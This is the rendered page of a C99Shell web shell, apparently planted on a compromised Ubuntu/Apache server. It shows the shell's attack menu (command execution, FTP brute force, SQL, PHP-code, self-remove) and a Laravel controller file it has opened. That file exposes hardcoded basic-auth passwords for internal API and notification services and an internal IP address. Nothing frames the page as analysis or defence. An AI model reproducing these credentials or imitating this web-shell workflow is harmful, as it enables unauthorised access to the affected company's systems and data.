!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/jiff/app/Http/Controllers/   drwxr-xr-x
Free 13.22 GB of 57.97 GB (22.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FacebookController_wofb.php (7.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
GuzzleHttp\Client;
use 
Illuminate\Http\Request;

class 
FacebookController extends Controller
{
    public function 
fbTest() {
        return 
response()->json(['error' => 'true''message' =>"how are you"],400);
    }
    public function 
createfb_user(Request $req)
    {
        try{
            
$req_body=array_merge($req->all(), ['vendor_id' => auth()->user()['id']]);
            
$client = new Client([
                
'auth' => ['Mongo_API''jiFFMongo@2023!@!@!@']
            ]);
            
$res $client->request('POST''https://api.businesscloud.xyz/fb_user',["json"=>$req_body,'http_errors' => false]);
            if (
$res->getStatusCode()==200) {
                return 
response()->json(["data"=>json_decode($res->getBody()->getContents())]);
            }else {
                return 
response()->json(json_decode($res->getBody()->getContents()),$res->getStatusCode());
            }
        } catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' => $exception->getMessage()],500);
        }
    }

    public function 
createLive(Request $req)
    {
        try{
            
$req_body=array_merge($req->all(), ['vendor_id' => auth()->user()['id']]);
            
$client = new Client([
                
'auth' => ['Mongo_API''jiFFMongo@2023!@!@!@']
            ]);
            
$res $client->request('POST''https://api.businesscloud.xyz/live',["json"=>$req_body]);
            if (
$res->getStatusCode()==200) {
                return 
response()->json(["message"=>json_decode($res->getBody()->getContents())]);
            }else {
                return 
response()->json(["error"=>"true""message"=>json_decode($res->getBody()->getContents())],$res->getStatusCode());
            }
        } catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
      
    }
    public function 
startLive(Request $req)
    {
        return 
response()->json(["message"=>"testing"]);

        
// try{
        //     $req_body=array_merge($req->all(), ['vendor_id' => auth()->user()['id']]);
        //     $client = new Client([
        //         'auth' => ['Facebook_Live', 'jiFFFacebook@2023!@!@!@']
        //     ]);
        //     $res = $client->request('POST', 'http://159.203.91.178:3000/create_file',["json"=>$req_body]);
        //     if ($res->getStatusCode()==200) {
        //         return response()->json(["message"=>$res->getBody()->getContents()]);
        //     }else {
        //         return response()->json(["error"=>"true", "message"=>json_decode($res->getBody()->getContents())],getStatusCode());
        //     }
        // } catch (\Exception $exception) {
        //     return response()->json(['error' => 'true', 'message' =>$exception->getMessage()],500);
        // }
    
}
    public function 
stopLive(Request $req)
    {
        try{
            
$req_body=array_merge($req->all(), ['vendor_id' => auth()->user()['id']]);
            
$client = new Client([
                
'auth' => ['Mongo_API''jiFFMongo@2023!@!@!@']
            ]);
            
$res $client->request('POST''https://api.businesscloud.xyz/stop_live',["json"=>$req_body]);
            if (
$res->getStatusCode()==200) {
                    
// $client = new Client([
                    //     'auth' => ['Notification', 'jiFFNotification@2023!@!@!@']
                    // ]);
                    // $client->request('POST', 'https://notification.businesscloud.xyz/end_live',["json"=>['vendor_id' => auth()->user()['id']]]);
                
return response()->json(["message"=>$res->getBody()->getContents()]);
            }else {
                return 
response()->json(["error"=>"true""message"=>json_decode($res->getBody()->getContents())],$res->getStatusCode());
            }
        } catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
    }
    public function 
createSchedule(Request $req)
    {
        try{
            
$current_epoch=strtotime("now")+60;
            if (
$current_epoch>$req->input('start_time')) {
                return 
response()->json(["error"=>"true""message"=>"An event time must be 5 minutes ahead of current time"],400);
            }
            
$req_body=array_merge($req->all(), ['vendor_id' => auth()->user()['id']]);
            
$client = new Client([
                
'auth' => ['Mongo_API''jiFFMongo@2023!@!@!@']
            ]);
            
$res $client->request('POST''https://api.businesscloud.xyz/schedule',["json"=>$req_body]);
            if (
$res->getStatusCode()==200) {
                try {
                    
$client = new Client([
                        
'auth' => ['Notification''jiFFNotification@2023!@!@!@']
                    ]);
                    
$res1$client->request('POST''https://notification.businesscloud.xyz/new_schedule',["json"=>['vendor_id' => auth()->user()['id'],'start_time'=>$req->input('start_time')]]);
                } catch (
\Exception $exception) {
                }
                return 
response()->json(["message"=>json_decode($res->getBody()->getContents())]);
            }else {
                return 
response()->json(["error"=>"true""message"=>json_decode($res->getBody()->getContents())],$res->getStatusCode());
            }
        } catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
    }
    public function 
createPost(Request $req)
    {
        try{
            
$req_body=array_merge($req->all(), ['vendor_id' => auth()->user()['id']]);
            
$client = new Client([
                
'auth' => ['Mongo_API''jiFFMongo@2023!@!@!@']
            ]);
            
$res $client->request('POST''https://api.businesscloud.xyz/post',["json"=>$req_body]);
            if (
$res->getStatusCode()==200) {
                return 
response()->json(["message"=>json_decode($res->getBody()->getContents())]);
            }else {
                return 
response()->json(["error"=>"true""message"=>json_decode($res->getBody()->getContents())],$res->getStatusCode());
            }
        } catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
    }
    function 
deletePost(Request $req)
    {
        try{
            
$req_body=array_merge($req->all(), ['vendor_id' => auth()->user()['id']]);
            
$client = new Client([
                
'auth' => ['Mongo_API''jiFFMongo@2023!@!@!@']
            ]);
            
$res $client->request('POST''https://api.businesscloud.xyz/delete_post',["json"=>$req_body]);
            if (
$res->getStatusCode()==200) {
                return 
response()->json(["message"=>json_decode($res->getBody()->getContents())]);
            }else {
                return 
response()->json(["error"=>"true""message"=>json_decode($res->getBody()->getContents())],$res->getStatusCode());
            }
        } catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--